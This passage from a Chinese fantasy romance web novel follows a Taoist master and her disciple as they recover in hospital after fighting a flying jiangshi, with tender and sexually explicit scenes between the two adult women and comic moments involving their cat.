事先吞服的解药没办法抵御飞僵以上的尸毒,而她被飞僵刺穿了肚子,尸毒直接进入了肺腑。 她惨白的面孔染上诡异的青色,唇瓣也从血红变深,透出乌紫。 龙璇玑掀开她道袍的衣领,皮肤上一块块青色的斑块凸显出来。 要不了几个小时,她就会变成僵尸。 不能解毒,占英就算救回来也活不成了。 龙璇玑终于哭了出来,她环视四周空旷的山野,泪流满面地不知道在求谁:“救命啊,谁来救救她——” “救命啊——” 龙璇玑痛哭流涕的声音传到了远处的小木屋。 傅清微除了主动失血过多外,应该是四人里唯一一个伤势比较轻的了,穆若水的情况正在平稳,傅清微用剑撑着身子站了起来。 她不放心留下穆若水一个人,所以背起她,以剑做拐,一步一步地朝声音传来的方向踉跄走去。 她背上的人影却慢慢滑了下来。 傅清微以为是自己没背好,正要重新弯腰扶起来,女人却退开,站在她身后两步远的地方。 “师尊,你醒了!”傅清微惊喜得瞬间落泪。 “你是谁?”女人却反问她,一双绯红剔透的眸子眯了起来。 傅清微震惊过后,流露出伤心欲绝的神情。 “你不认识我了吗?” 或许是她脸上挂着的眼泪,熟悉入骨的声音,她明知危险却义无反顾向自己走过来的动作,唤醒了她因为杀性大发而暂时蒙蔽的记忆,一个人影出现在她的脑海。 “傅……清微?”穆若水试探着喊她的名字,语气迟钝,眼前仍然一片血红。 “是我。” 傅清微松了口气,向她走了过去。 “你不要过来。” 穆若水绯红的双眸眼角低垂。 都是血……不要碰…… 擦干净……才可以…… 衣服……也脏了…… 擦不干净…… 生气。 傅清微什么时候完全听过她的话,牵起独自生闷气的穆若水往前走,她刚杀了飞僵,满手全是血污,傅清微也不嫌弃地紧紧地扣着她的手指。 穆若水从一片血红的光里看身边的年轻女人,小声说了一句:“脏……” 傅清微看看她染得看不出本来颜色的青袍,黑一块红一块的,说:“是脏了,回去我给你换新衣服,我们都换新的。” “我的手……脏……” “哪里脏了?”傅清微睁着眼睛说瞎话,晃了晃两人牵在一起的手,“我就喜欢这样的。” 她说的脏未必是表面的鲜血,而是她杀人这件事。 不能杀人这四个字就像金科玉律一样刻在她的脑海里,她厌恶不受理智操控的自己,更害怕看到她这副样子的傅清微会嫌恶她。 满身鲜血,杀人如麻。 可是怎么会呢? 傅清微甚至觉得此前她太高估自己了,什么天下,什么苍生,就算麻天德不是死有余辜,她看到穆若水失控,变成如今这样,她也只会心疼她。 要不是占英有生命危险,她现在肯定会坐下来好好安慰她,亲吻她。 傅清微牵着穆若水好不容易走到了占英身边蹲下来,龙璇玑抹着眼泪说了情况。 飞僵的尸毒蔓延得极快,因为先前服的解药客观起了拖延作用,也最多能撑两个小时,再晚就算解了毒她的身体也不可能恢复如初。 飞僵之毒没有现成的解药,得送回灵管局由专人去解,那时黄花菜都凉了。 假如占英变成了僵尸,她们只能亲手再杀她一次。 想想龙璇玑抱着她哭得更大声了。 她干脆想,她们走吧,留下占英一只僵尸在荒山里,只要不害人又有什么关系?但那样还算活着吗?占英愿意那样活着吗? 傅清微又拨了一次卫星电话,接电话的是岁已寒,岁已寒冷静地说正在赶来的路上,很快就到,没有问占英的情况,不知道是心里有底还是不敢问。 穆若水乖巧地坐在一边的树桩上。 她现在思路迟钝,反应缓慢,说话也跟小孩子一样蹦字儿。 大概是什么后遗症。 傅清微伏在她膝盖,死马当作活马医地问道:“师尊有办法解尸毒吗?” 穆若水偏了偏头,红宝石一样的眼珠映着树缝间漏下的夕阳,剔透琉璃。 尸毒? 她在心里慢慢地想,朝傅清微伸出了自己的手。 傅清微认真看向她的双手,虽然满手鲜血,但是刚刚她用衣服给她擦过了,指节还是漂亮的,长着异于常人的长长紫黑色指甲。 就是这双手,可以轻易撕碎飞僵的身体,插入他的心脏。 她世间无匹的实力,足以抗衡所有飞僵的肉身强度,她血红得像漂亮宝石的眼睛。 有的点其实很容易就想通了。 傅清微深深地看着她,会意地说:“你的指甲可以解毒?” “嗯。” “剪一段下来可以吗?” 女人阖了阖唇,提醒:“磨……” “磨成粉末让她服下?” 穆若水点了点头。 她似乎还有话想说,但因为太费力了,绯红的血眸专注地凝视她。 傅清微一笑:“是不是在想,为什么我会对你的想法知道得那么清楚?” 穆若水绯红的眼睛顿时一亮。 “因为我爱你。” 先前藏在心里的话就这么直接地说出了口,傅清微说:“不管你变成什么样子,我都会爱你。” 她想:这个反应迟钝的师尊也挺好的,至少听到她的表白没有心思躲。 只会怔怔地看着她。 傅清微有随身携带指甲钳的习惯,考虑到师尊的等级大概比飞僵不知道高多少,傅清微边剪边比划试探道:“这么多会不会太多?” 过犹不及,万一占英又中了她的毒。 穆若水点头。 果然。 最终指甲也只受了一点忽略不计的皮外伤,傅清微送到龙璇玑那里,让她磨成粉给占英服下。 效果立竿见影。 龙璇玑喜极而泣:“太好啦!” 傅清微回来给穆若水竖了个大拇指,坐在她身边。 穆若水目不转睛地看着她。 她眼眸清透,虽然和人类的瞳仁颜色不一样,宝石一般猩红,但别有一番美丽。 没过多久,直升机旋翼的声音从上方传来。 不远处的树木刮得东倒西歪,因为无法降落,只能悬停在空中。 傅清微抬起头,从骤起的风中眯起眼,看到机舱门放下一架绳梯,一道修长的身影从上方跳了下来,灵活地借了地面的树木当作缓冲,弯曲膝盖稳稳地踩在了地面。 然而她奔过来的身影不知为何竟踉跄了一步。 那本来是一个不论何时都不会失态的人。 傅清微却没有心思管了,因为穆若水眼睛一闭,倒在了她的怀里。 “师尊!” * 鹤市中心人民医院。 一次送进来四个病人,统统安排进特殊病房。 其中一个直接推进了抢救室,大亮红灯。 龙璇玑的伤有局里的妖帮她疗伤,比人类的治疗手段有效。 傅清微和穆若水则被安排在了同一间病房,方便互相照应。穆若水的身体任何治疗术法都无效,她根本没有受伤,导致她变成这样的是红线反噬。 她躺在病床上,三千青丝已经尽数变作墨色,柔软的长发如锦缎枕在身下,换上了干净的病号服。 傅清微亲手给她换的。 擦了手和脸,又是她见惯的那个不可一世的师尊。 连睡着了也不会露出柔弱的一面。 可是她没有呼吸,没有心跳,一动不动地躺在那里,不睁开眼睛,没有任何一个人能够确定她还活着。 除了傅清微。 与其说她确定,不如说她只能相信,她不会离开自己。 她长生不老,天下第一,绝对不会就这么死了。 傅清微就这么一天天守在病房里,和守着一具不会僵硬的尸体没有两样。 期间除了送饭以外,没有任何人进来打扰她。 三天后,穆若水醒了。 傅清微和她挤在一张床上,靠着她的肩膀睡觉,就像每一个平凡度过的夜晚。 穆若水睁着眼睛,一句话没开口,等她睡醒。 “师尊?”傅清微第一眼以为自己又做梦了。 “嗯。”穆若水平淡地说,“不是做梦。” 傅清微伸手摸了摸她的脸,居然是温的。 真的醒了! 傅清微两只手捧起她的脸,就要更真实地感受一下现实,穆若水扭头避开,说:“你刷牙了吗?”外面的光线看起来是早上。 “没有。” “去刷牙。” “好的。”傅清微快乐地下了床,刷牙洗漱。 她不管穆若水刷没刷牙,反正师尊不是人,她总是干净的。 按着穆若水在枕头里亲了半天,两个人都气喘微微,声音起伏,低吟不断,傅清微忽然觉得有些不对劲,问:“你怎么不动呀?” “我不是动了吗?” “我说的不是舌头!” “……” “一般来说,亲到这个地步,你就该摸我了。”傅清微说着,主动捉过女人的手来到自己腰上,撩开衣摆,握住滑腻的侧腰。 再不济也要抱着她,手摸一摸她的头发,哪有这么老实的? “……” 穆若水的指腹抚了抚,垂下眼望她,说:“眼下还是大白天,你就如此肆无忌惮。” “哦,上次白天在藤椅里说要给我舔的难道是我吗?” “你,大逆不道。” “我,太想你了。”傅清微用同样的格式回她,在她的怀里扭动磨蹭,说,“你这几天昏迷我都担心死了,我不是真要和你在医院做,你就摸一摸我吧,随便哪里都行,让我感受到你。” 穆若水默了默,说:“你可以自己来吗?平时自己动得就挺好的。” 她百般推辞,傅清微敏锐地眯了眯眼,干脆利落道:“师尊,你是不是不行?” “笑话。” 穆若水哪听得下去这种话,但她反驳完后没下文了,没立刻把傅清微揉得汁水四溅都证明有鬼。 而她甚至只动了这一次嘴皮子。 傅清微:“……” 师尊是真的不行了。 傅清微急得马上打电话,被穆若水阻止。 “没什么大碍,休息几天就好了。”她自己的身体她心里清楚,擅自杀人触犯禁制,虽然傅清微很快用血替她压制住了红线,但禁制已经犯下,惩罚就是惩罚。 只是虚弱一段时间已经是不坏的结果。 多亏傅清微及时赶到,否则她大概会被折磨很久很久,死不了,却痛不欲生。 “真的吗?你不要骗我。”傅清微含泪道。 “为师何时骗过你?” 傅清微仔细一想也是。 “放心,我不会死在你前头。”昏迷的时候穆若水一直有意识,自然知道她下山哭了多久,在自己床头又哭了多久,也不知道省着点眼泪给她喝。 罢了,到底害她担惊受怕了好几天。 说两句好话哄哄她。 傅清微说:“我死了你也不准死。” 穆若水道:“你死之后的事,管那么宽?” “我管的是你!” “大逆不道。”穆若水不痛不痒地批评了她一句,懒洋洋地说,“为师想再亲一会儿。” 傅清微去将病房门锁了,回来满足她的愿望。 傅清微总算彻底得了一回主动权,她俯下身亲吻女人的薄唇,舔着她的唇瓣和不明显的唇珠,像小动物得了最珍惜的食物,不舍得吃完一般慢慢地品。 虽然脾气依然没长进,但会醒着回应她的师尊实在太好了。 亲着亲着,穆若水感觉有温热的液体滴在自己的脸上,越来越多。 穆若水在心里叹了口气。 她有心想抱她,奈何提不起力气。 傅清微哭够了,又来亲她,关键她脸上全是傅清微的眼泪。 穆若水:“打断一下,能不能先帮我擦个脸?” 傅清微一边给她擦眼泪一边笑。 “师尊你这样好好笑。” “再笑不给亲了。” 傅清微一秒噤声。 下一次接吻之前,在穆若水的要求下,她的手臂先环住了傅清微的腰,然后再开始接吻。 傅清微也喜欢在她怀里的感觉,眼皮映着早晨的阳光,两人亲得十分动情,睁开眼浅浅的水光晃动,凝视对方。 要不是白天,傅清微就用她的手开始了。 傅清微坐起来,确认了穆若水的身体状况。 没有哪里痛或者不舒服,就是提不起力气,需要静养一段时间,唯一能动的是手指和嘴巴。 这是什么天选之1?傅清微按下了瞬间闪过的念头。 穆若水说:“我的情况不要告诉灵管局。” 傅清微认真地说:“我知道。” 穆若水挑眉。 傅清微没有多解释,反正她现在对局里的印象不太好,尤其是岁主任大打折扣,以免坏了心情就暂时不多提了。 傅清微说:“璇玑说想来探望我们,之前你没醒我就给拒绝了,安排在今天还是明天?” “随你。” “今天下午好吗?她很关心我们。” “好。” 聊完正事,傅清微清了清嗓子:“那……和我接吻会让你舒服一些吗?我是说力气能不能恢复一点?” 穆若水洞若观火:“想亲就亲,别找理由。” …… 过了段时间,穆若水说:“我的嘴要被你亲破了,下午怎么见人?” “傅清微!” “轻点儿!你!” “嘶——”傅清微从女人的唇上离开,舌尖被她出其不意地咬了一下,在口中微微发麻。 傅清微眼睫弯弯地笑了起来。 灵管局知道了穆若水醒来的消息,没有派人打扰,照例送了早餐和午餐。 下午,病房第一位真正欢迎的客人到了。 龙璇玑带着她的花瓣走了进来,手里还捧着几枝新鲜的桃花。 “娘亲,师娘,身体健康。” “我祝你万事如意。”傅清微接过她手里的桃枝,说,“来得早了,没准备拜年红包。” 龙璇玑:“啊?” 傅清微把花插在细颈白瓶里,回头笑着说:“没什么,随便坐。” 龙璇玑看了看,搬着凳子坐到了病床前,穆若水的床已经摇了起来,她背靠着两个枕头,气色看上去饱满,尤其是一双薄唇绯红水感,若有若无的魅惑。 不太像平常的观主,但身体肯定是往好的方向发展了。 她的脉象普通人诊不了,妖也诊不了,因为没有脉搏。 龙璇玑只能望闻问,穆若水耐性好地也答了几句,接过了她给的药当场服下。 几人都不会客套,聊着聊着话题就到了占英身上。 傅清微这几天一直在病房闭门不出,她不想联系灵管局所以无从知晓占英的情况,不代表她不关心,关心的同时可能还有复杂的情绪。 龙璇玑说:“占英现在还在ICU呢,我刚刚路过瞧了瞧,还撞见了岁主任。” 龙璇玑单纯想得少,傅清微也不忍戳破现实给她看,随口带过,让她有新进展通知她。 送走了龙璇玑,傅清微又爬到了师尊的床上,按住她的双手压在枕头上。 穆若水:“你刚刚还一脸愁绪。” 傅清微:“明日愁来明日愁,她不找我们,我们就当她不存在。” 穆若水扭头避开她落下的吻,说:“为师没有教过你趁人之危。” “你是人吗?” “你骂我?” “客观陈述。” “轻一点。我现在用不了祝由术。” “嗯。” “嗯……” 穆若水张口回应她。 时间一晃来到了晚上,穆若水听见洗澡声就知道自己今晚手的清白保不住了。 房间里有两张病床,但是有一张从傅清微醒后就再也没用过。 另一张半夜突然吱嘎吱嘎地摇了起来。 穆若水:“你别叫了。” 傅清微:“是床在叫,不是我。” 穆若水:“……床停了,现在是谁在叫?” 傅清微:“师尊你又行了?” 第115章 穆若水从来没有哪一刻比现在更像个人。 大约是她不能动了, 口头威胁都像傲娇的别扭,傅清微亲上去的时候只能动一动舌头,诚实地迎合她, 软软的低吟。 傅清微也不想趁人之危的, 但是被迫娇软的师尊太好吃了, 过几天就不是这个光景。 穆若水想掀她下床就掀她下床,实在不行她还可以躲起来不见自己。 机不可失。 再说强制什么的, 师尊看起来也并没有不喜欢。 反而常常用眼神勾引她。 比如说她中午拉窗帘的时候她看了她一眼, 是在勾引她。 自己喝水的时候她说她也想喝,还是在勾引她。 喂她喝水的时候她都沾在唇上, 肯定在勾引她。 穆若水:“……” 虽然傅清微的歪理过于离谱, 但穆若水竟然没有开口反驳。 她现在只能说出:笑话。 干巴巴的,还没有情绪支撑,盖因她确实存了这样的心思。 她们俩的心电感应越来越强了, 穆若水只是在心里闪过念头, 眼神绝对是正常的眼神,但傅清微就是知道她想要自己。 不管是接吻,还是亲密。 穆若水躺在床上只是不痛, 可是和傅清微亲密是舒服,不是情人间的舒服,是她浑身上下每个细胞都感觉舒服的那一种,红线仿佛从她的身体里消失了, 找不到踪迹。 傅清微吻她时会渡过来属于她的味道,唇舌交缠的交换过后, 穆若水身体乏力的情况也会好一些。 任何伤药都治疗不了穆若水的身体, 唯独傅清微是她的灵丹妙药。 不夸张的说,媲美十全大补丸。 又一次漫长的接吻过后, 傅清微支着自己的身子坐了起来,屋子里洒进来的已经是夕阳。 中间除了龙璇玑来探望过一次以外,她们的一天几乎都是这样度过的。 何止穆若水的嘴要被亲破了,她自己也好不到哪里去。 穆若水的气色比龙璇玑离开时更红润了,她一个不是人的,从哪里得到这么多精气,还不是从傅清微身上获得的。 好在傅清微除了累了点,没有任何不良反应。 傅清微气喘吁吁,唇瓣被咬得水光饱满,通红似血。 “要不我喂你一点血吧,好得快一点。”这么亲一天,人也受不了了。师尊主动必有鬼,傅清微已经察觉她的小九九了。 “不行!” 穆若水断然拒绝。 傅清微下山以后昏迷了一晚,就是因为失血过多。她左手腕被自己划得不成样子,深刻错落的剑痕有四五道,现在还包着一层层纱布,再给她喂血,穆若水看她是不想活了。 “你看起来很想恢复的样子。”傅清微犹豫地说。仅凭接吻这种程度的亲密太慢了。 “那我也不要喝你的血。” 穆若水神色恢复自若:“躺着就躺着吧,衣来伸手饭来张口,没什么不好的。” “……” 师尊是不是忘了她不用吃饭。 她也不喜欢别人给的衣服,傅清微连里衣都没给她换,只是把血污得不像样子的青袍脱了,穿上了病号服。 嘴犟得很。 傅清微下床喝水,顺便给女人也喂了一点,两方都没有勾引的心思,遂相安无事。 傅清微扭头看了看窗外正在褪色的天光,伏到穆若水耳边问:“我用你的手自己动的话,你也会好一些吗?” “……” 穆若水别过了头。 她颈部的皮肤特别白,病号服遮不住的颈项漫上清浅的淡粉。 傅清微指尖触到她脖子里同时变得温热的体温。 “那就是会了。”傅清微轻轻地在她耳际说。 她尚未离开的指腹感受到的温度更高了。 傅清微亲了亲她的耳廓。 穆若水的脸立刻转了过来。 她第一次被亲耳朵,傅清微仗着她现在无法,问她说:“不喜欢吗?” 穆若水闭眼睡觉。 说不上不喜欢,怪怪的感觉比较多。如果以要不要再来一次为判断的话,应该是喜欢……的吧? 傅清微的脸埋入她的颈窝,在侧颈的地方又浅浅亲了一下。 穆若水阖动了一下眼皮。 然而傅清微的胆量只到这里了,她连撩开师尊的领口往下碰一碰都不敢,何况将唇印上去。 趁人之危也要讲究原则。 她自己动是一回事,借机对穆若水行不轨之事性质完全不同。 而且前者的话她算熟练了。 换在以前傅清微是绝对干不出来在医院做这种事的,现在除了给穆若水疗伤外,从山上九死一生回来的她有一种破罐子破摔的心态,生命如朝露,说不定哪一刻她就死了。 她顾忌那么多又有什么用。 师尊想要什么,她就给她什么。自己又不是不想和她亲热,管它是什么地方。 等她好起来,她们就离开这里,回蓬莱观过她们俩的小日子。 对了,还得把小三花接回来。 * 灵管局送来的晚饭除了常规以外,每日还有补气血的药膳。 先前都是傅清微一个人吃,穆若水醒了以后,傅清微第一口先喂给她吃,穆若水配合地咽下去,主打一个陪伴。 晚饭用完后,东西撤走,傅清微在另一张床上打坐。 穆若水躺在对面,偏头看着她。 刚入定一会儿,傅清微便猛地睁开眼睛,经脉里的清气胡乱冲撞,侧颈和额角的青筋都暴起来,脸色涨成可怕的紫红,太阳穴突突跳动,眼白里充满红色血管。 穆若水喝道:“凝神!” 傅清微两手掐正法诀,盘腿顺气,好不容易才将乱窜的罡气从经脉里理顺,心有余悸地睁眼喘着气。 穆若水怒从心起:“你在想什么?差点走火入魔!” 傅清微:“在想师尊。” 穆若水:“……” 傅清微看着她要发火的眼神,低声解释说:“我想到那天在山上,你一动不动躺在地上的样子,差点死了。你下山时昏迷在我怀里,睡了很久很久,摸不到你的呼吸和心跳,我以为你不会醒了,我很害怕。” 她一闭上眼入定就全是那些画面,除此以外还有占英、龙璇玑,最后的那只飞僵。 她没有救回穆若水,她被飞僵穿心而过,倒在师尊身上。 她没有救回任何人。 一切不过是濒死前的一场梦。 穆若水内心五味杂陈:“近日你都不要打坐了,等你消化完这件事再说。” 傅清微垂眼:“是。” 穆若水复杂的神情里带上一丝柔软,对着坐在那的傅清微说:“过来,允许你抱一会儿为师。” 傅清微下了一张床,上了另一张床,短短两步的距离,她合衣钻进穆若水的怀里,双手搂着她的腰。 也不管这个姿势会不会别扭。 穆若水纵着她,温柔地说:“好点了吗?” 傅清微点点头,只要听见她说话就很好了,她仰起脸:“我可以再抱紧一点吗?” “可以,反正为师不会喘不过来气。”观主有自己的幽默。 傅清微如愿被她逗得笑了一笑,双臂收得更紧了一些,整张脸埋进女人柔软的胸口。 差点没喘过来气,她又稍稍拉开距离。 穆若水一只手搭在她的背上,因为只有手指能动,所以在她背上点着画圈以作安慰。 傅清微:“……” 这和勾引有什么区别? 傅清微:“师尊,你有时候可以不必这么要强的。” 穆若水坚持用手指轻轻地“拍”着她的背。 拍着拍着傅清微也习惯了这种力道,穆若水又说:“你把脸抬起来一点。” 傅清微从她胸前抬起头,和她四目相对,唇对着唇,几公分的距离。 “再低下去一点。” 傅清微依言照做,穆若水在她的眉心落下一个吻。 “让你受惊了,我……”观主不擅长这种温情的对白,沉吟半天说不出下文,但她的心意已然很明了。 “我知道。”傅清微说。 “嗯,你知道就好。” 穆若水温凉的吻又印在她的前额,这次停留了更久的时间。 傅清微闭着眼在她怀里,不愿去多想只有嘴巴能动的师尊是怎么亲她两次的,迫在眉睫的是让她快点好起来。 希望休养几天就好不是她的谎话。 傅清微小憩了一觉,大约一小时后起了床,先打了水拧了毛巾给穆若水擦洗。 穆若水看起来十分自在,享受她周到的伺候和服务,没有任何全身不遂的恼怒,侧面印证了她这种情况确实是暂时的,否则以她的脾气早就变脸了。 傅清微照例只擦了手和脸,问她:“其他地方要吗?” 总是香香的穆若水:“不用,我下次回去泡澡。” 傅清微彻底松了口气。 甚至很快就能好起来。 傅清微坐在病床前给她剪指甲,这几天她闲着没事每天都有给她剪,一天擦十几次手,帮她做这些日常小事时,能够让她短暂的忘记穆若水生死未卜,只是收好工具包以后,看着她一无所觉的脸,内心是无垠的荒漠。 傅清微每剪一次都抬一次头,穆若水起先配合地和她对视,目光温柔,安抚徒儿惊魂甫定脆弱受伤的心灵。 后来被她看烦了,骂她说:“老驴拉磨都没有你这么能磨蹭。” 傅清微哈哈一笑。 果然加快了速度。 指甲钳被放进成套的小工具包,傅清微用湿巾又给她仔细擦拭了一遍手指。 独卫里传来淋浴声,傅清微洗了一个不算短的时间,迟迟未出来,穆若水就知道自己今晚手的清白保不住了。 观主压下了莫名其妙升起的期待。 傅清微每次下山都会准备换洗的行李,住院后背包被一起送到了病房,她换下蓝白条纹的病号服,纽扣的睡衣已经不合时宜,直接穿了件盖到大腿的长T恤。 穆若水和她同床共枕这么久,仍然会在看到她雪白的长腿的一瞬间被吸引,然后不自觉地移开眼,免得想入非非。 用凡人的话来说,她其实是个不自知的腿控。 平时睡觉她都很少摸傅清微的腿,不是不喜欢,是怕自己会忍不住乱来。 傅清微掀开她的被子,那双白得发光的长腿连同春光一起掩进了被窝里,又全部涌入她的怀里。 刚洗过澡的傅清微身上又热又凉,颈间散发出沐浴露的清香。 穆若水总能从那些香味里闻见属于她自己的气息,不像任何一种香,就是莫名其妙地吸引她。她现在又闻见了另一种,比吸引更上头,也更让她迷惑不解:“你身上好香,是什么?” 傅清微闻了闻自己的胳膊:“玫瑰味吗?是沐浴露吧。” “不是。” 傅清微配合地把自己的颈窝凑到女人的鼻翼下,让她闻个仔细。 穆若水想不通。 傅清微看着她迷茫的神情,想到一个理论:“会不会是荷尔蒙的味道?” “什么是荷尔蒙?” “荷尔蒙就是……”傅清微的声音低下去,小声说,“你喜欢我。” 穆若水缓缓闭眼装死。 傅清微:“喂。” 穆若水又睁开眼,问她:“你能闻见我身上的气味吗?除了……返魂香以外。” “什么是返魂香?” 底都漏得差不多了,穆若水抿唇给她解释了返魂香是什么,包括闻多了确实对身体不好,可能会致幻,但现在的傅清微已经可以抵御了。 “就是你上次说的会催情的那种香?” “骗你的。” “我就知道。”傅清微细细在她颈项的皮肤闻了闻,说,“能闻见其他香气,可这不是很正常吗?我本来就喜欢你。” 穆若水闭了闭眼。 傅清微:“师尊,你可以笑的,我会假装没看到。” 穆若水愈发板起脸。 傅清微才不信她一点都不喜欢自己,也不信她没有在心中窃喜,嘴硬就嘴硬吧,待会亲着亲着就软了。 傅清微:“师尊,我关灯啦?” 穆若水嗯了声,翘起唇角。 房间啪的一声陷入黑暗,窗户外面透进来的月光又涌入室内,不会太过昏暗。 灵管局的特殊病房在四楼,树影和月光在窗前摇动,地面交织斑驳的线条。 傅清微两手捧住女人冰凉的面颊,指节抵着她的下巴,说:“师尊,我要亲你了。” 穆若水:“……” 预想得到今夜会是怎样的发展了,总归是她彻底被动,嘴上也讨不了好。 傅清微抚着她的脸,不依不饶:“可以吗?” 穆若水翕动了一下唇:“可以。” 傅清微便朝她吻了上来,是偶像剧里的吻法,稍稍偏过头,鼻梁压在她的脸颊,唇瓣覆在她的唇瓣,慢慢地抿住女人的上唇,含吮拉扯,到下唇如法炮制。 是一个浅浅的,完全没有深入的吻。 只在唇瓣表面碾磨轻咬,偶尔用舌尖湿润干燥的唇,继续轻贴,绝不探入齿缝一步。 但穆若水的脑子一片混沌。 她不知道傅清微从哪里学来的,抑或是她自学成才,无论是亲吻的深浅,还是她抚摸自己脸颊和头发的手指,都让她耽溺其中。 原来即使不必从她那里汲取甘霖,她也愿意和她这么吻下去。 “师尊,你喜欢我吗?” “我……” 我不知道。 真的如此吗? 傅清微意料之中等不到她的回答,再次填满了唇缝的间隙。 傅清微不自觉地又亲到了女人的耳朵,这次她胆大包天地在耳垂含了含,可惜光线不明看不到它是否变得通红。 傅清微从她颈侧离开,把女人的手按在了自己薄薄T恤的身前,接吻产生的变化抵着掌心。 她的手动不了没关系,傅清微会扶着她,她还有手指。 过了会儿,穆若水的掌心毫无阻隔地触碰到她。 五指立刻有她自己的想法,一张一弛地收束。 傅清微习惯和她侧躺面对面,极近的距离她看不到穆若水的眼神,但是能听到她加快的呼吸。 明明不需要呼吸,却因为她会出现气息不稳。 傅清微拉开她忙了一会儿的手,一个挺身迎了上去,穆若水张口含住了她。 唇瓣温热地裹住,傅清微还没来得及出声。 病房里的床突然吱嘎响了一声。 穆若水没放开,咬着舔了舔,说:“你太激动了。” 傅清微说:“我很难不激动。” 穆若水牙尖不紧不慢地磨着:“也是。” 反正不是她弄响的,她只是一个全身不遂的病人。 但她的嘴不仅能让床响,而且能让傅清微也出声,厉害得很。 傅清微抱着她的脑袋,双手的十指都探入女人流水一般的长发,从左边换到右边,雨露均沾。 不时还要滑下来和穆若水温热的唇瓣接个吻。 她不仅吃自助餐,她还掌控所有的节奏,想如何便如何。 这样的机会一生也没有几次。 穆若水:“你别叫了。” 傅清微:“是床在叫,不是我。” 穆若水:“……床停了,现在是谁在叫?” 傅清微:“师尊你又行了?” 对方沉默,傅清微立马认错。 傅清微这头和女人接着吻,那头握着她的手指,一根一根地抚过,寄予厚望。 “师尊……” 穆若水果然也没有辜负她的期望。 她的指腹捻动着,傅清微和她接吻的节奏断掉。 不多时她大口地呼吸起来。 穆若水整个手掌贴了上去,轻轻地给她推揉,让她别那么快。 傅清微缓了一口气,忽然意识到:“你的手……” “拜你所赐,手掌能动了。” 穆若水说不好是亲热有效还是被她气的。 收这个徒儿真是她的“福气”。 傅清微自然坚定认为是疗法起效,惊喜道:“这么快?” 穆若水鼻音慵懒地嗯了一声,在月光里瞧着她泫然欲泣的眼尾。 她指尖一挑,再次用指腹贴着滑了滑。 傅清微其实很乖的,她紧紧地咬着自己的下唇,眼尾一点一点地泛红,慢慢蓄上眼泪。 默默地承受她过分的对待。 泪快滑落时,穆若水又换成手掌,缓下来。 傅清微鼻音哽咽:“师尊……” “嗯?” “你是不是故意的?” “是。”女人漫声应道。 傅清微委屈的泪落下来。 穆若水说:“靠过来,抱着我。” 傅清微贴近她的身体。 穆若水又说:“喂我。” “……” 她舌尖勾弄,咬着傅清微,含混说:“不准出声。” 傅清微在她上方点点头。 …… 慢慢了很久,快只快了不到一分钟。 傅清微抽身躲避不受控制的感觉,穆若水现在完全抱不住她,好言哄道:“别离开我。” 傅清微便不躲了,许久之后仍在她怀里低低啜泣。 “怎么这么乖啊?” 穆若水温柔地抚着她的长发。 “回去我再奖励你一次。” “像今天这样的奖励吗?” “你不喜欢?” “没有。”傅清微含着泪想:只是受不了身体里积累了好久的在一起爆发。 师尊的玩法越发丰富了,而她完全跟不上,只能仗着年轻身体好。 傅清微一次就累了,然而穆若水不是从前的穆若水,不仅不能善后,还要傅清微来给她擦拭。 傅清微缓了会儿,起来去卫生间先简单清理,出来拿了块毛巾。 穆若水的手被摊在膝头的毛巾上,如她所料的很多,傅清微第一次在灯下看她从自己那里离开的手,漂亮修长的指节像做了一层手膜,亮晶晶的。 傅清微抿唇不语,耳根通红地替她洗去手膜。 这是医院的最后一次,傅清微暗下决心。 她实在不能面对第二次了。 擦手的毛巾和床上垫的一起进了洗手间,傅清微又冲了个澡才出来。 穆若水已经睡了,心口微微起伏平稳地呼吸。 傅清微关了灯睡在她的枕边。 穆若水主动说:“晚安。” “晚安。” 傅清微没和前几天晚上一样做噩梦,一觉睡到大天亮,她蓦然睁开眼,第一时间扭头观察身边的人。 穆若水言简意赅:“活着,别紧张。” 傅清微扶她起来,问:“师尊,你今天感觉怎么样?” 穆若水抬起两条胳膊,说:“进展喜人。” 傅清微喜形于色。 这样看起来最多两天就可以下地了。 穆若水:“为师能恢复得这么快,还得多谢你的身体力行。只是……下次还是回山吧。” 傅清微:“我也是这么想的。” 两个人回想起来,昨夜都有点昏头了,劫后余生的放纵,出格仅此一次。 穆若水:“待会让灵管局把我的猫送回来。” 傅清微说好。 手好了第一时间想的撸猫,也不见她来抱一下自己。 灵管局今天依然没有领导露面,占英也没有醒过来。傅清微听见敲门声,打开门一看,航空箱里一小猫,冲她喵喵叫。 穆若水已在里面问:“是不是我的小猫?” 她语气迫不及待,比第一次醒过来见到傅清微还要情绪外露。 傅清微向送猫的人道了谢,把航空箱拿进来,开门手伸进去接住了小三花。 穆若水坐在病床上翘首以盼。 傅清微抱着小三花从门口走了出来,一只手托起怀里的长毛三花,一只手指向自己: “你是想要这只小猫咪,还是更想要我这只活好水多的小猫咪呢?” 第116章 傅清微说出那句话以后, 屋子里陷入了空前的沉默。 病房弥漫着死一样的寂静。 小三花从傅清微怀里矫捷地跳了下去,三下两下跳上了病床,团在了穆若水的胸前, 大尾巴冲姥姥的脸, 扫来扫去。 穆若水给它换了个方向, 一手薅着小猫的圆脑袋,一手挠下巴。 小三花在穆若水怀里发出响亮的呼噜声。 大得好像往傅清微呆滞的脸上扇了响亮的一巴掌。 她刚刚说了一句什么? 见她终于回过神来, 穆若水看着她似笑非笑, 道:“你方才……” 傅清微坐到病床边缘,抢先道:“我说你想要两只小猫咪吗?” 女人玩味地挑眉。 “那这两只小猫咪有什么不同吗?比如一个什么好什么多?” “没什么不同, 我比较听话一点, 哈哈。”傅清微拙劣地转移着话题,说,“你要不要喝水, 我去给你倒。” “喝一点吧。” 穆若水大发慈悲地放过了她, 傅清微转身走进了卫生间里,给自己的嘴巴轻轻地来了一巴掌。 叫你和猫争风吃醋。 叫你乱说话。 大白天的就大放厥词。 傅清微倒了水过来,穆若水还是那副揶揄的神情, 小三花肖似其姥,圆溜溜的绿眼睛如出一辙地盯着她,目不转睛。 傅清微:“……” 这茬怕是过不去了,钉在她人生的耻辱柱。 穆若水宠幸完了真小猫, 招手把傅清微这只小猫叫过去,两个人窝在被子里一起睡了个回笼觉。 睡之前穆若水故意问她:“活什么水什么?” “你饶了我吧师尊——” 傅清微一头栽进她胸口装死, 怎么逗都不理了。 穆若水在她耳边低低地笑了一声。 病房几乎没有任何娱乐方式, 小三花的到来给两人枯燥的养病生活增添了不少乐趣,奔跑跳跃, 鸡飞狗跳,穆若水说话的中气都足了不少。 傅清微跟在后面收拾,也锻炼了体力。 * 山里。 小木屋周围已经被灵管局的人彻底清理。 